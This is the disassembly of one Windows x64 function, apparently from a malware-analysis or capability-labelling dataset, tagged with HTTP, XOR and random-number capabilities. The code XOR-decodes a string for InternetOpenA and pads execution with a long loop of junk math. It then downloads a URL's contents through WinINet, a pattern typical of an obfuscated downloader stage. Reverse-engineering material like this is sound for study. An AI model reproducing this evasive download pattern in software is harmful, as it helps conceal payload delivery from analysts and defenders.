Function at 0x140010410
Capabilities:
Create http request
Encode data using xor
Generate random numbers using a mersenne twister
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4ef0]
mov eax, 0x4ff0
call fcn.1400324a0
sub rsp, rax
movaps xmmword [rsp + 0x4fe0], xmm6
movaps xmmword [rsp + 0x4fd0], xmm7
movaps xmmword [rsp + 0x4fc0], xmm8
movaps xmmword [rsp + 0x4fb0], xmm9
movaps xmmword [rsp + 0x4fa0], xmm10
movaps xmmword [rsp + 0x4f90], xmm11
movaps xmmword [rsp + 0x4f80], xmm12
movaps xmmword [rsp + 0x4f70], xmm13
movaps xmmword [rsp + 0x4f60], xmm14
movaps xmmword [rsp + 0x4f50], xmm15
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp + 0x4e40], rax
mov qword [rsp + 0x70], rdx
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rdx
mov esi, 1
mov dword [rsp + 0x48], esi
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp + 0x4f28]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp - 0x10], rdx
mov qword [rbp - 8], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp - 0x18], rax
xor r13d, r13d
mov qword [rcx], r13
movsd xmm0, qword [0x140036da8]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x140036db0]
mov dword [rsp + 0x60], eax
mov r9d, r13d
cmp dword [0x14003f090], 2
jl 0x14001068e
movdqa xmm6, xmmword [0x140037310]
movdqa xmm7, xmmword [0x140037350]
movdqa xmm4, xmmword [0x1400372c0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm1, xmm4
psubd xmm1, xmm0
movdqa xmm5, xmmword [0x1400372f0]
andps xmm1, xmm5
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x1400372e0]
psubd xmm4, xmm0
andps xmm4, xmm5
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmmword [0x140037330]
movd xmm0, dword [0x140036da8]
xorps xmm1, xmm0
movd dword [rsp + 0x58], xmm1
movdqa xmm4, xmmword [0x1400372d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm5
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x1400372e0]
psubd xmm4, xmm0
andps xmm4, xmm5
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmmword [0x140037330]
movd xmm0, dword [rsp + 0x5c]
xorps xmm1, xmm0
movd dword [rsp + 0x5c], xmm1
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x58]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x1400106a0
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov edx, esi
lea rcx, [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp - 0x78], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x13a4], 0xffffffff
mov dword [rbp + 0x24], eax
mov rcx, rsi
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x24], edx
inc rcx
cmp rcx, 0x270
jb 0x140010720
mov dword [rbp + 0x20], 0x270
mov dword [rbp - 0x48], 0xffffff9c
mov dword [rbp - 0x44], 0x64
mov dword [rsp + 0x30], r13d
xorps xmm8, xmm8
movsd qword [rsp + 0x40], xmm8
lea rcx, [rbp - 0x20]
call fcn.140001650
mov rbx, qword [rbp - 0x20]
add rbx, 0x5f5e100
mov qword [rsp + 0x78], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov qword [rbp - 0x50], r13
mov ecx, 8
call fcn.140031460
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x38], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [rbp - 0x50]
je 0x1400107c3
mov rcx, r13
mov qword [rsp + 0x38], rcx
mov qword [rdx], rax
add qword [rbp - 0x58], 8
jmp 0x1400107d6
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140028a10
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400107e3
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.140031460
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x38], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [rbp - 0x50]
je 0x14001081d
mov rcx, r13
mov qword [rsp + 0x38], rcx
mov qword [rdx], rax
add qword [rbp - 0x58], 8
jmp 0x140010830
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140028a10
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14001083d
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.140031460
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x38], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [rbp - 0x50]
je 0x140010877
mov rcx, r13
mov qword [rsp + 0x38], rcx
mov qword [rdx], rax
add qword [rbp - 0x58], 8
jmp 0x14001088a
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140028a10
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140010897
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.140031460
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x38], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [rbp - 0x50]
je 0x1400108d1
mov rcx, r13
mov qword [rsp + 0x38], rcx
mov qword [rdx], rax
add qword [rbp - 0x58], 8
jmp 0x1400108e4
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140028a10
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400108f1
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.140031460
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x38], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [rbp - 0x50]
je 0x14001092b
mov rcx, r13
mov qword [rsp + 0x38], rcx
mov qword [rdx], rax
add qword [rbp - 0x58], 8
jmp 0x14001093e
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140028a10
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14001094b
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
mov ecx, 8
call fcn.140031460
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov dword [rsp + 0x48], 0x7f
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x38], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, qword [rbp - 0x50]
je 0x14001098d
mov rcx, r13
mov qword [rsp + 0x38], rcx
mov qword [rdx], rax
add qword [rbp - 0x58], 8
jmp 0x1400109a0
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140028a10
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400109ad
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
movsd xmm10, qword [0x140037268]
movsd xmm9, qword [0x140037288]
movsd xmm13, qword [0x140037280]
movsd xmm14, qword [0x140037278]
movsd xmm15, qword [0x140037270]
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x140010a05
imul rax, rcx, 0x64
jmp 0x140010a74
cmp rdi, 0x16e3600
jne 0x140010a59
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140010a74
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x1400113d8
mov dword [rbp - 0x40], r13d
mov r12d, dword [rbp - 0x48]
btc r12d, 0x1f
mov dword [rsp + 0x38], r12d
mov r13d, dword [rbp - 0x44]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x20]
cmp r13d, 0xffffffff
jne 0x140010ac1
call fcn.140029a70
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
jmp 0x140010b66
lea edi, [r13 + 1]
call fcn.140029a70
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x140010afc
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x140010afc
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140010ae7
jmp 0x140010afe
mov edi, eax
mov r14d, r12d
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov edx, edi
mov qword [rsp + 0x50], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r15d, r12d
cmp ecx, edi
jae 0x140010b62
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x140010b62
mov ebx, edx
mov r12, qword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
mov r15d, r14d
mov esi, edi
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x140010b40
mov rbx, qword [rsp + 0x78]
mov r12d, dword [rsp + 0x38]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x60]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x38], rdi
lea rcx, [rbp + 0x20]
call fcn.140029a70
cmp r13d, 0xffffffff
jne 0x140010bac
mov ecx, eax
jmp 0x140010be3
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x140010bdf
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x140010bda
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140010bc7
mov rdi, qword [rsp + 0x38]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rdi
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140010c06
divsd xmm11, xmm1
mulsd xmm11, xmm13
subsd xmm11, xmm14
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140010c50
divsd xmm12, xmm1
mulsd xmm12, xmm13
subsd xmm12, xmm14
movaps xmm0, xmm12
andps xmm0, xmmword [0x140037340]
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140010ce6
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140010d45
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x40]
mulsd xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r15d, r15d
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
mov r8d, 3
lea rdx, [0x14003597c]
lea rcx, [rbp]
call fcn.140027da0
nop
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdi, qword [rbp]
lea rsi, [rbp]
cmova rsi, qword [rbp]
add rsi, qword [rbp + 0x10]
cmp rdi, rsi
je 0x140010e18
nop dword [rax]
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140010e08
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140010df4
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x140010de0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov qword [rbp - 0x28], r15
mov ecx, 0x190
call fcn.140031460
mov qword [rbp - 0x38], rax
lea r14, [rax + 0x190]
mov qword [rbp - 0x28], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp - 0x30], r14
mov rsi, qword [rbp - 0x38]
cmp rsi, r14
je 0x140010e80
nop word [rax + rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x48]
call fcn.140026dd0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140010e60
mov r14, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x38]
mov dword [rbp - 0x20], 0xffffff9c
mov dword [rbp - 0x1c], 0x64
cmp rsi, r14
je 0x140010ec4
nop dword [rax]
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140026dd0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140010ea0
mov r14, qword [rbp - 0x30]
mov rsi, qword [rbp - 0x38]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140029430
mov r8d, r15d
mov rax, qword [rbp - 0x38]
mov rdx, r15
mov r9, qword [rbp - 0x30]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x140010f61
cmp rcx, 8
jb 0x140010f61
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140010f20
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x140010f7c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140010f70
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp - 0x48]
btc esi, 0x1f
mov r12d, dword [rbp - 0x44]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x20]
cmp r12d, 0xffffffff
jne 0x140010fc2
call fcn.140029a70
lea edi, [rax + rsi]
xor edi, 0x80000000
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
jmp 0x14001105e
inc r12d
call fcn.140029a70
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x140011003
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x140011003
nop dword [rax + rax]
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x140010ff0
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x14001105a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14001105a
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x140011040
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
lea ecx, [rdi + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp - 0x48]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp - 0x44]
lea rcx, [rbp + 0x20]
jne 0x140011116
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x1400110c9
call fcn.140029a70
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140011174
lea edi, [rax + 1]
call fcn.140029a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140011103
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140011103
nop dword [rax + rax]
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1400110f0
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x140011174
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14001112b
call fcn.140029a70
mov ecx, eax
jmp 0x140011167
lea edi, [rax + 1]
call fcn.140029a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140011163
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140011163
nop dword [rax]
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140011150
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp - 0x48]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp - 0x44]
btc r15d, 0x1f
sub r15d, r12d
xor r14d, r14d
lea rcx, [rbp + 0x20]
cmp r15d, 0xffffffff
jne 0x1400111a9
call fcn.140029a70
mov ecx, eax
jmp 0x1400111e7
lea edi, [r15 + 1]
call fcn.140029a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1400111e3
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1400111e3
nop dword [rax]
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1400111d0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140011205
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
addsd xmm1, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm1
test r14b, 1
jne 0x1400112b1
lea rcx, [rbp + 0x20]
cmp r15d, 0xffffffff
jne 0x140011263
call fcn.140029a70
mov ecx, eax
jmp 0x14001129d
lea edi, [r15 + 1]
call fcn.140029a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140011299
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140011299
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140011286
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001130e
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop
lea rcx, [rbp + 0x20]
call fcn.140029a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x1400112c0
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
inc r14d
cmp r14d, 5
jl 0x140011196
sub r13, 1
jne 0x140011193
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140011378
mov rax, qword [rbp - 0x28]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011362
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400113ca
call fcn.1400317b4
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
xor r13d, r13d
mov qword [rbp - 0x28], r13
jmp 0x14001137b
xor r13d, r13d
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400113b2
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400113ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400113d1
call fcn.1400317b4
mov eax, dword [rbp - 0x40]
inc eax
mov dword [rbp - 0x40], eax
cmp eax, 0x186a0
jl 0x140010a81
jmp 0x1400109da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp - 0x60]
test rbx, rbx
je 0x140011452
mov rdi, qword [rbp - 0x58]
cmp rbx, rdi
je 0x14001140f
mov esi, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x140011402
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x1400113f3
mov rbx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x50]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14001144a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001144a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400317b4
xorps xmm0, xmm0
mov r14, qword [rbp - 0x80]
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
or dword [rsp + 0x48], 1
mov r12, qword [rbp - 0x78]
mov r15, qword [rsp + 0x70]
test r12, r12
je 0x1400115ac
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140011491
mov rdx, qword [r15]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x1400115ac
nop word [rax + rax]
lea r9, [rbp - 0x40]
mov r8d, 0x4e20
lea rdx, [rbp + 0x20]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [rbp - 0x40]
mov rcx, qword [r14 + 0x10]
mov rdx, qword [r14 + 0x18]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14001151a
lea rax, [rcx + rdi]
mov qword [r14 + 0x10], rax
mov rax, r14
cmp rdx, 0xf
jbe 0x140011501
mov rax, qword [r14]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rbp + 0x20]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14001152e
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x20]
mov rdx, rdi
mov rcx, r14
call fcn.140027c10
xor edx, edx
mov r8d, 0x4e20
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
cmp dword [rbp - 0x40], 0
jne 0x1400114c0
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rbp - 0x18]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x4f28]
mov qword [rcx], rax
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400115fb
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x1400115f6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x1400115f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp - 0x10]
